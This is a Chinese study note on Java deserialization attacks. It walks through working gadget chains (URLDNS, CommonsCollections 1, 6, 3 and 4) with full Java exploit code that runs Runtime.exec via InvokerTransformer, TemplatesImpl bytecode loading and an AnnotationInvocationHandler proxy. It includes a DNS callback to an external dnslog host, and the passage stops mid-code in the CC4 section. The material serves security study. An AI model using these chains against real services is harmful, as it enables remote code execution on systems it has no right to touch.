java反序列化笔记

原理

序列化是指将一个对象转换为一个字节序列(包含 对象的数据对象的类型对象中存储的属性 等信息),以便在网络上传输或保存到文件中,或者在程序之间传递。

JSON,JavaScript Object Notation,就是一种较为常见的序列化对象。

在 Java 中为了方便对象的序列化与反序列化,原生提供了 java.io.ObjectOutputStreamjava.io.ObjectInputStream 封装序列化和反序列化逻辑,只有实现了 Serializable 接口的类才可以进行原生的序列化和反序列化操作。

比如说有这么一个数据类(重写 equals 方法便于验证序列化过程是否正确)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class User implements Serializable {
private String username;
private String password;

public User(String username, String password) {
this.username = username;
this.password = password;
}

@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
User user = (User) o;
return Objects.equals(username, user.username) && Objects.equals(password, user.password);
}
}

可以通过这样的方式对其进行序列化和反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TestUser {
static final public String filename = "user";
static final public User user = new User("qsdz", "yyds");

@Test
public void testSerializeUser() throws IOException, ClassNotFoundException {
// 序列化对象
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(filename));
out.writeObject(user);
// 反序列化对象
ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
User other = (User) in.readObject();
// 验证读入读出是否正确
assert user.equals(other);
}
}
1
2
3
dependencies {
implementation 'org.junit.jupiter:junit-jupiter:5.10.2'
}

可以使用 SerializationDumper 辅助解析序列化结果,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 23 - 0x00 17
Value - com.qsdz.serialize.User - 0x636f6d2e7173647a2e73657269616c697a652e55736572
serialVersionUID - 0x2e 97 9e 0c 86 3b 5b 20
newHandle 0x00 7e 00 00
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Object - L - 0x4c
fieldName
Length - 8 - 0x00 08
Value - password - 0x70617373776f7264
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
1:
Object - L - 0x4c
fieldName
Length - 8 - 0x00 08
Value - username - 0x757365726e616d65
className1
TC_REFERENCE - 0x71
Handle - 8257537 - 0x00 7e 00 01
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 02
classdata
com.qsdz.serialize.User
values
password
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 8 - 0x00 08
Value - cXNkeg== - 0x63584e6b65673d3d
username
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 04
Length - 8 - 0x00 08
Value - eXlkcw== - 0x65586c6b63773d3d
objectAnnotation
TC_ENDBLOCKDATA - 0x78

序列化数据十六进制下以 aced 开头,而 BASE64 下则是 rO0AB

而为了实现自定义的反序列化,通常会让数据类实现 readObject 函数和 writeObject 函数。

实际上相关的序列化函数有五个:writeObjectreadObjectreadObjectNoDatawriteReplacereadResolve

两个序列化相关字段

1
2
private static final ObjectStreamField[] serialPersistentFields;
private static final long serialVersionUID;

其中 serialPersistentFields 用于定义哪些字段需要被序列化,serialVersionUID 用于定义与序列化对象的版本号,默认编译器会给予,不同版本无法直接进行数据互通。

但这两个字段在新版本被注解 @Serialize@Serial 平替了功能。

不过 transientstatic 声明的变量是不会被默认序列化和反序列化的。

但是也因此,Java 的反序列化漏洞会更难挖掘,更难利用。

例如一个可能的实现如下,重写的逻辑为序列化时将 usernamepassword 字段都用 BASE64 编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class User implements Serializable {
private String username;
private String password;

// ...

@Serial
private void writeObject(ObjectOutputStream out) throws IOException {
String encodedUsername = Base64.getEncoder().encodeToString(username.getBytes());
out.writeObject(encodedUsername);
String encodedPassword = Base64.getEncoder().encodeToString(password.getBytes());
out.writeObject(encodedPassword);
}

@Serial
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
username = new String(Base64.getDecoder().decode((String) in.readObject()));
password = new String(Base64.getDecoder().decode((String) in.readObject()));
}
}

不难得知,Java 中的反序列化漏洞通常是因为 readObject 函数的逻辑问题导致的,可以直接借助工具 ysoserial 直接生成命令执行负载,其支持多个版本的原生序列化类或组件的负载生成。

一般来说针对于反序列化漏洞,优先寻找实现 Serializable 的原生类

Serializable的实现个数

利用

测试对象能否序列化与反序列化的代码如下

1
2
3
4
5
6
7
8
9
10
public class Test {
public static void testSerialize(Object obj, String filename) throws IOException, ClassNotFoundException {
// 序列化对象
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(filename));
out.writeObject(obj);
// 反序列化对象
ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
in.readObject();
}
}

在这之后都会利用该代码测试某个类能否成功进行反序列化。

URLDNS

利用类

Java 原生支持通信过程,实现方式是通过 URL、URLStreamHandler 等抽象类的行为来实现的,

URLStreamHandler 用于处理和解析 URL。

可以参考 https://www.cnblogs.com/Yee-Q/p/17453172.html 如何实现一个自定义协议,通常被用来服务间的被动信息传递。

http://https://file:// 在 URL 中称为协议(Scheme)。

HashMap 是 Map 的一个哈希表实现,其实现了 readObject 函数,是我们反序列化链的入口类

忽略检查部分,主要逻辑如下图

HashMap的readObject主要逻辑

调用链分析

首先明确,每一个类都会有一个哈希值,这与 Java 的设计理念、虚拟机机制相关的。

在 URL 类中,哈希值的计算是与协议相关的,可以翻到 hashCode 的定义如下

URL的hashCode实现

其中 handler 是由我们设定的 URLStreamHandler,那么翻看 URLStreamHandler 是如何对 URL 计算哈希值的。

URLStreamHandler利用点

可以发现,其中有一处可能会造成对外互动的点是红框所选代码,那么显然 URL 类是我们的利用类

利用 DNSLog 平台进行测试,其中需要注意需要补全 URL 协议,且当且仅当 url.hashCode 为 -1 时,才会调用 handler.hashCode 去解析域名,获取哈希值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class TestURLDNS {
public static final String dnslog = "http://3hrfdu.dnslog.cn";

// public static void testSerialize(Object obj, String filename) {...}

public static URL getExploitURL() throws MalformedURLException {
URLStreamHandler handler = new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
};
URL url = new URL(null, dnslog, handler);
return url;
}

public static void resetURLHashCode(URL url) throws NoSuchFieldException, IllegalAccessException {
// 重设url.hashCode为-1,否则不能重复利用
Field field = URL.class.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, -1);
}

@Test
public void testURL() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url = getExploitURL();
// 测试类能否成功反序列化
testSerialize(url, "url");
// 第一次获取hashCode会解析域名
url.hashCode();
resetURLHashCode(url);
// 第二次获取hashCode会解析域名
url.hashCode();
}
}

可以测试得到两次重复解析请求。

高版本 JDK 需要为 JUnit 添加虚拟机参数 --add-opens java.base/java.net=ALL-UNNAMED

目前有了入口类 HashMap,有了利用类 URL,补全其中的链子得到这么一个利用链

1
2
3
4
5
HashMap.readObject()
- HashMap.putVal()
-- HashMap.hash()
--- URL.hashCode()
---- URLStreamHandler.hashCode()

那么可以写出一个测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class TestURLDNS {
// ...

public static HashMap<URL, String> getExploitHashMap() throws MalformedURLException, NoSuchFieldException, IllegalAccessException {
URL url = getExploitURL();
HashMap<URL, String> map = new HashMap<>();
map.put(url, "qsdzyyds");
resetURLHashCode(url);
return map;
}

@Test
public void testHashMap() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Object obj = getExploitHashMap();
testSerialize(obj, "hashmap");
}
}

此时应该会有两次重复解析请求,第一次是 URL 插入 HashMap 时,第二次是反序列化时。

总结

这条链子实用性不高,因为没有程序会有反序列化 HashMap<URL, ...> 的需求。

但是这条链子短,从中可以学习到反序列化链的主要目标:

  • 寻找可能的利用类,一般是使用了一些有风险的函数
  • 向上寻找使用到利用类风险函数的类,重点是一条链子中所有类都继承了 Serializable。

然后补全从入口类到利用类的过程,我们就构造出了一条链子。

CommonsCollections1

环境

环境为 8u60,组件版本 3.2,需要修改 gradle 设置

1
2
3
4
5
6
7
sourceCompatibility = 1.8
targetCompatibility = 1.8

dependencies {
implementation 'org.junit.jupiter:junit-jupiter:5.10.2'
implementation 'commons-collections:commons-collections:3.2'
}

利用类

CommonsCollections 指的是 Apache Commons 工具包的组件 collectionscommons-collections:commons-collections),其封装了许多 Java 原生的 Collection 相关类,例如 ListSetMap 等。

组件 Collections 新增了许多增强数据结构,例如 LinkedMap 是可遍历的映射表(类似 Python 字典),而为了抽象转换(transform)行为(类似于 Python 的 map 函数),存在一个接口 Transformer,而问题就出在 Transformer 的一个实现 InvokerTransformer 中。

InvokerTransformer 想要被设计为代理模式,但由于其特殊性,导致可以用于执行任意代码。

Java 的代理类 Proxy 可以帮助实现 AOP,装饰器等功能。

调用链分析

第一步先尝试寻找利用类,在这里我们选择 InvokerTransformer,因为其使用反射可以有这么一个代理调用 Runtime.getRuntime().exec("calc"),测试代码如下

1
2
3
4
5
6
7
8
9
10
public class TestCC1 {
static public final Class[] paramTypes = {String.class};
static public final Object[] args = {"calc"};

@Test
public void testInvoke() {
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
}

为了使得触发更稳定,还可以改写为

1
2
3
4
5
6
7
8
9
10
11
12
public class TestCC1 {
static public final Class[] paramTypes = {String.class};
static public final Object[] args = {"calc"};

@Test
public void testInvoke2() {
new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}).transform("qsdzyyds");
}
}

那么接下来我们需要寻找如何去反序列化使得该 Transformer 调用 transform 方法。

查找使用,可以发现不少 collections 的数据类都会使用到该方法,可以选取 TransformedMap 进行分析,因为其方法内部大量使用 transform 方法,这是一个装饰器类,用来使得某个 Map 可以使用 Transformer 来转换数据。

比如说可以尝试测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class TestCC1 {
public static Map<?, ?> getExploitMap() {
Transformer transformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map<Object, Object> innerMap = new HashMap<>();
innerMap.put("qsdz", "qsdzyyds");
return TransformedMap.decorate(innerMap, null, transformer);
}

@Test
public void testMap() throws IOException, ClassNotFoundException {
Map<?, ?> map = getExploitMap();
testSerialize(map, "map");
// 尝试触发计算器弹窗
map.put(null, null);
}
}

测试序列化是否成功,并且尝试触发计算器弹窗。

如果按照之前的写法可以发现是因为 Runtime 实例无法进行反序列化。

不过,由于 Runtime 是单例模式,同时类是可以被反序列化的,不妨利用反射模拟获取获取 Runtime 实例的过程。

接着向上寻找反序列化链,其中 TransformedMap 的 transformKeytransformValue 都会调用到 transform 方法。

transformMap 调用了 transformKeytransformValue

但是显然这两个函数并没有被调用过,完成不了反序列化链(找不到入口类)。

那么转移到其他目标,可以发现 TransformedMapEntry 类的 setValue 方法

transformedMapEntry的setValue方法

正巧查找用法可以发现存在大量使用,但实际上然并卵。

入口类在这里比较难寻找,是 sun 包中的一个实现,sum.reflect.annotation.AnnotationInvocationHandler,这是用于处理反射获取注解的类,

AnnotationInvocationHandler的实现

运行逻辑大致是,利用 Map 存储注解类型,便于后面使用反射获取注解,于是在 readObject 时动态处理了保存的类型。

那么一条链就出来了

1
2
3
4
AnnotationInvocationHandler.readObject()
- MapEntry.setValue()
-- Transformer.transform()
--- InvokerTransformer.transform()

但是实际上会遇到几个问题,第一个问题是 AnnotationInvocationHandler 的构造方法是私有的,无法构造类实例,故这里要用反射的方式调用,那么写出代码

1
2
3
4
5
6
7
8
9
10
11
public class TestCC1 {
@Test
public void testInvocationHandler() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Map<?, ?> map = getExploitMap();
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, map);
testSerialize(obj, "handler");
}
}

AnnotationInvocationHandler 的构造函数的第一个参数需要是注解类型。

理论上可行,但实际上并没有弹出计算器,这里不妨在 readObject 处打断点,尝试调试发现原因。

AnnotationInvocationHandler调试关键点

它会获取 Override.class 的成员表,随后反射获取 Map 中的键值对应的成员,只有该成员存在才会进行 setValue

比如说在这里就是需要 Override.qsdz 不为 null

Java 的注解架构为

java注解架构

可以发现 TargetRetention 都有成员 value,不妨代码改为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class TestCC1 {
public static Map<?, ?> getExploitMap() {
Transformer transformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map<Object, Object> innerMap = new HashMap<>();
innerMap.put("value", "qsdzyyds");
return TransformedMap.decorate(innerMap, null, transformer);
}

@Test
public void testInvocationHandler() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Map<?, ?> map = getExploitMap();
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, map);
testSerialize(obj, "handler");
}
}

理论上键值和注解所带的成员相关即可。

调用链分析2

除此之外,我们还可以关注到 LazyMapget 函数中使用了 transform 函数

LazyMap的get方法

当且仅当字典中无键值时调用。

那么很显然,结合上文,我们需要想办法触发 get 函数。

向上查找,会发现 AnnotationInvocationHandler 的 invoke 代理函数调用到了 get 方法,

AnnotationInvocationHandler的invoke方法

而想要调用到 invoke 函数,那么自然而然想到了代理类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class TestCC1 {
public static Map<?, ?> getExploitMap2() {
Transformer transformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map<Object, Object> innerMap = new HashMap<>();
return (Map<?, ?>) LazyMap.decorate(innerMap, transformer);
}

@Test
public void testInvocationHandler2() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Map<?, ?> map = getExploitMap2();
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, map);
Map<?, ?> proxyMap = (Map<?, ?>) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
// proxyMap.entrySet();
Object obj = constructor.newInstance(Retention.class, proxyMap);
testSerialize(handler, "handler2");
}
}

这里的 obj 需要再次实例化 AnnotationInvocationHandler 是因为其 readObject 正巧会调用到代理类的方法,然后转而触发旧的 AnnotationInvocationHandler 实例的 invoke 方法,从而触发了 LazyMapget 方法,故而理论上使用其他入口类也可以。

不过由于设定问题,该链子必然会触发异常。

总结

该链子只有满足条件

  • CommonsCollections 3.1 - 3.2.1,该版本 TransformedMap 才可序列化
  • java < 8u71,该版本之后修改了 AnnotationInvocationHandler 的反序列化代码

链子涉及了 sun 源码相关的实现,需要了解一定的 Java 注解内容,同时也需要了解一些 Java 动态代理类的内容。

CommonsCollections6

环境

环境为 8u60,组件版本 3.2,需要修改 gradle 设置

1
2
3
4
5
6
7
sourceCompatibility = 1.8
targetCompatibility = 1.8

dependencies {
implementation 'org.junit.jupiter:junit-jupiter:5.10.2'
implementation 'commons-collections:commons-collections:3.2'
}

利用类

该类被设计用来显示绑定一个 Map 的键值对,相当于显式的 Map.Entry

调用链分析

继承于 CC1,追溯 LazyMapget 方法,但 Map.get 方法用法太多,不妨一个一个库寻找。

查找用法,匹配模式 lib:org.apache.commons.collections..*

查找用法结果
TiedMapEntry的getValue方法

接着追溯 getValue 方法,会找到同一个类里的 hashCode 方法

image-20240423003427780

结合前文的 URLDNS 链,不难想到可以利用 HashMap 进行一个构造。

1
2
3
4
5
6
7
8
HashMap.readObject()
- HashMap.putVal()
-- HashMap.hash()
--- TiedMapEntry.hashCode()
---- TiedMapEntry.getValue()
----- LazyMap.get()
------ Transformer.transform()
------- InvokerTransformer.transform()

那么可以写出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class TestCC6 {
public static void testSerialize(Object obj, String filename) throws IOException, ClassNotFoundException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(filename));
out.writeObject(obj);
// 反序列化对象
ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
in.readObject();
}

public static Map<?, ?> getExploitMap() {
Transformer transformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map<Object, Object> innerMap = new HashMap<>();
return (Map<?, ?>) LazyMap.decorate(innerMap, transformer);
}

@Test
public void testTiedMapEntry() throws IOException, ClassNotFoundException {
Map<?, ?> map = getExploitMap();
TiedMapEntry entry = new TiedMapEntry(map, "lazyMapKey");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "qsdzyyds");
map.remove("lazyMapKey");
testSerialize(hashMap, "hashmap");
}
}

map.remove("lazyMapKey"); 是因为在插入时会调用 hashCode,随后使得 LazyMap 发生计算(transform),故这里将键 lazyMapKey 移除,完成反序列化。

总结

CC6 是半个 URLDNS 和半个 CC1 的实现,可以管中窥豹得知,反序列化链可能最终都是殊途同归的。

CommonsCollections3

环境

环境为 8u60,组件版本 3.2,需要修改 gradle 设置

1
2
3
4
5
6
7
sourceCompatibility = 1.8
targetCompatibility = 1.8

dependencies {
implementation 'org.junit.jupiter:junit-jupiter:5.10.2'
implementation 'commons-collections:commons-collections:3.2'
}

利用类

ClassLoader 是 Java 的类加载机制,负责将 .class 字节码加载到 JVM。

原生而言,Bootstrap ClassLoader 是加载系统类的;App ClassLoader 是用来加载外部类的。

与此同时,ClassLoader 的机制也提供了扩展 Java 的可能,比如说安卓重写了子类 DexClassLoader 用于动态加载 Dex 文件。

简单来说类加载可以分为三步:

  1. loadClass:负责加载已加载的类,通过双亲委派机制(先查父加载器,再查子加载器,避免重复加载和系统类覆盖),如果没有找到再执行下一步
  2. findClass:根据 URL 指定的方式读取类字节码,可以是本地也可以是远程,然后到下一步
  3. defineClass:根据读取的字节码处理成 JVM 中的类

比如说我们写这么一个类

1
2
3
4
5
6
7
8
package com.qsdz.cc3;

public class TestHello {
public TestHello() {
System.out.println("Hello! qsdzyyds!");
}
}

需要注意其包是 com.qsdz.cc3

那么将其编译后的 .class 字节码文件转成 byte 或 base64,这里选择 base64 是因为方便,并且实际应用中有一定隐匿性。

那么可以测试动生成类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class TestCC3 {
public static final String b64Code =
"yv66vgAAADQAHgoABgAQCQARABIIABMKABQAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUB" +
"AA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTGNvbS9xc2R6" +
"L2NjMy9UZXN0SGVsbG87AQAKU291cmNlRmlsZQEADlRlc3RIZWxsby5qYXZhDAAHAAgHABgMABkA" +
"GgEAEEhlbGxvISBxc2R6eXlkcyEHABsMABwAHQEAFmNvbS9xc2R6L2NjMy9UZXN0SGVsbG8BABBq" +
"YXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50" +
"U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3Ry" +
"aW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAAC" +
"AAoAAAAOAAMAAAAEAAQABQAMAAYACwAAAAwAAQAAAA0ADAANAAAAAQAOAAAAAgAP";

@Test
public void testClassLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
byte[] code = Base64.getDecoder().decode(b64Code);
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class,
int.class,
int.class
);
defineClass.setAccessible(true);
Class<?> testHello = (Class<?>) defineClass.invoke(
ClassLoader.getSystemClassLoader(),
"com.qsdz.cc3.TestHello",
code,
0,
code.length
);
testHello.newInstance();
}
}

由于 ClassLoader 的方法都不公开暴露,故这里使用反射获取。

而这里的 ClassLoader 不使用 ClassLoader.getSystemClassLoader() 改为 TestCC3.class.getClassLoader() 也是可以的。

调用链分析

知晓了上文,那么有没有什么类会重写实现新的 ClassLoader 并调用了 defineClass,然后在其他地方调用 newInstance 呢?

天底下怎么会有这么巧的事,你别说,还真有,尝试在 sum 源码中查找,匹配模式 lib:com.sun..*

查找用法

很巧妙的查找到了 TemplatesImpl,不妨向上追溯。

查找用法

同一类下的 defineTransletClasses 调用了该 defineClass 方法。

TemplatesImpl的defineTransletClasses方法

在这里它动态加载了字节码,存储到了自身的 _class 成员中,那么猜想它可能会有 newInstance 函数,直接源码中查找,可以发现 getTransletInstance 确实满足我们的要求

TemplatesImpl的getTransletInstance方法

再次向上追溯,何处调用了 getTransletInstance 方法,可以发现 newTransformer 方法

TemplatesImpl的newTransformer方法

Transformer?只能说似曾相识了属于是。

那么这里有一个动态加载的利用链,并且该类是支持序列化的

1
2
3
4
TemplatesImpl.newTransformer()
- TemplatesImpl.getTransletInstance()
-- TemplatesImpl.defineTransletClasses()
--- Class.newInstance()

那么可以尝试测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class TestCC3 {
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static TemplatesImpl getExploitTemplate() throws NoSuchFieldException, IllegalAccessException {
byte[] code = Base64.getDecoder().decode(b64HackerCode);
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{code});
setField(templates, "_name", "com.qsdz.cc3.TestHello");
setField(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

@Test
public void testTemplatesImpl() throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
TemplatesImpl templates = getExploitTemplate();
testSerialize(templates, "templates");
templates.newTransformer();
}
}

但是实际上会发生报错

1
2
3
4
5
6
7
8
java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:375)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:404)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:439)
at com.qsdz.cc3.TestCC3.testTemplatesImpl(TestCC3.java:57)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.util.ArrayList.forEach(ArrayList.java:1249)
at java.util.ArrayList.forEach(ArrayList.java:1249)

其中定位到

报错定位

似乎是因为某些条件它需要赋值 _auxClasses,但是由于我们只传了一份字节码,所以 classCount 为 1,于是 _auxClassesnull,与此同时下文会对 _transletIndex 进行判断,所以我们希望能够让代码进入到 if 语句中。

那么结合语义不难知道,想要进入另一个条件分支语句,需要使得父类是 ABSTRACT_TRANSLET 才可以。

1
2
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

那么让我们的恶意类继承它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.qsdz.cc3;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TestHacker extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public TestHacker() throws IOException {
super();
Runtime.getRuntime().exec("calc");
}
}

这样可以成功触发 newInstance 实例化我们的类,即使弹出计算器后仍会报错。

由于这么一个机制,我们可以利用 CC1 的链子对其进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static Map<?, ?> getExploitMap() throws NoSuchFieldException, IllegalAccessException {
Transformer transformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(getExploitTemplate()),
new InvokerTransformer("newTransformer", null, null),
});
Map<Object, Object> innerMap = new HashMap<>();
innerMap.put("value", "qsdzyyds");
return TransformedMap.decorate(innerMap, null, transformer);
}

@Test
public void testMap() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Map<?, ?> map = getExploitMap();
testSerialize(map, "map");
map.put(null, null);
}

这样就绕过了 Runtime 类,隐蔽性更高,攻击性更强。

利用链分析2

在 ysoserial 中,该链的利用并没有使用 InvokerTransformer

我们可以对 newTranfomer 向上追溯,会发现 TrAXFilter 这个类的构造方法直接使用了 newTransformer 函数。

查找用法

那么可以改为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static Map<?, ?> getExploitMap2() throws NoSuchFieldException, IllegalAccessException {
Transformer transformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] {Templates.class},
new Object[] {getExploitTemplate()}
),
});
Map<Object, Object> innerMap = new HashMap<>();
innerMap.put("value", "qsdzyyds");
return TransformedMap.decorate(innerMap, null, transformer);
}

@Test
public void testMap2() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Map<?, ?> map = getExploitMap2();
testSerialize(map, "map");
map.put(null, null);
}

总结

CC3 链与其他链不同的是,不需要将执行的代码写在反序列化的类中,只需要写一个恶意类,让反序列化代码实例化我们的恶意类即可实现 RCE。

CommonsCollections4

环境

环境为 8u71,组件版本 4.0,需要修改 gradle 设置

1
2
3
4
5
6
7
sourceCompatibility = 1.8
targetCompatibility = 1.8

dependencies {
implementation 'org.junit.jupiter:junit-jupiter:5.10.2'
implementation 'org.apache.commons:commons-collections4:4.0'
}

利用类

Java 的需要排序的容器,都可以提供一个接口 Comparator 的实例,用于抽象比较行为。

利用链分析

collections4 版本相比起之前,利用了泛型等新机制完善代码,但 Transformer 逻辑仍未改变,可以使用代码测试 Transformer 功能

1
2
3
4
5
6
7
8
9
public class TestCC4 {
@Test
public void testInvoke() {
new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}).transform("qsdzyyds");
}
}

但是 AnnotationInvocationHandler 的反序列化逻辑改变了,导致无法通过反序列化触发命令执行。

于是在高版本中需要寻找新的反序列化链,那么同样的向上寻找 transform 函数的用法,会找到

查找用法

再次向上查找 compare 的用法,可以找到 PriorityQueuePriorityBlockingQueuesiftDownUsingComparator 使用了 compare 函数。

对此敏感是因为构建一个堆(优先队列)需要使元素 sift down。

显然可以在 PriorityQueue 中可以找到这么一条链

1
readObject->heapify->siftDown->siftDownUsingComparator->compare

那么反序列化链很显然了

1
2
3
4
Priority.readObject->heapify->siftDown->siftDownUsingComparator
- TransformingComparator.compare
-- Transformer.transform()
--- InvokerTransformer.transform()

那么测试一下反序列化链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class TestCC4 {
public static Transformer getExploitTransformer() {
return new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
